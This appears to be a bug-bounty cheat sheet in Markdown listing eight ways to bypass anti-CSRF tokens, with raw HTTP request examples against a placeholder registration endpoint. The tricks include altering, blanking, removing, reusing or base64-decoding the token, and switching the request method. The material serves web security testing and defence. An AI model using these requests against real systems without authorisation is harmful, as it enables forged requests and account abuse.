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120 lines
2.1 KiB
Markdown
120 lines
2.1 KiB
Markdown
# Bypass CSRF Token
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1. Change single character
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
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```
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Try this to bypass
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaab
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```
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2. Sending empty value of token
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
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```
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Try this to bypass
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=
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```
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3. Replace the token with same length
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=aaaaaa
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```
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Try this to bypass
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=aaabaa
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```
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4. Changing POST / GET method
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
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```
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Try this to bypass
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```
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GET /register?username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa HTTP/1.1
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Host: target.com
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[...]
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```
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5. Remove the token from request
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=aaaaaaaaaaaaaaaaaaaaaa
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```
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Try this to bypass
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456
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```
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6. Use another user's valid token
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=ANOTHER_VALID_TOKEN
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```
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7. Try to decrypt hash
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=MTIzNDU2
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```
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MTIzNDU2 => 123456 with base64
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8. Sometimes anti-CSRF token is composed by 2 parts, one of them remains static while the others one dynamic
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=vi802jg9f8akd9j123
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```
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When we register again, the request like this
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```
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POST /register HTTP/1.1
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Host: target.com
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[...]
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username=dapos&password=123456&token=vi802jg9f8akd9j124
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```
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If you notice "vi802jg9f8akd9j" part of the token remain same, you just need to send with only static part
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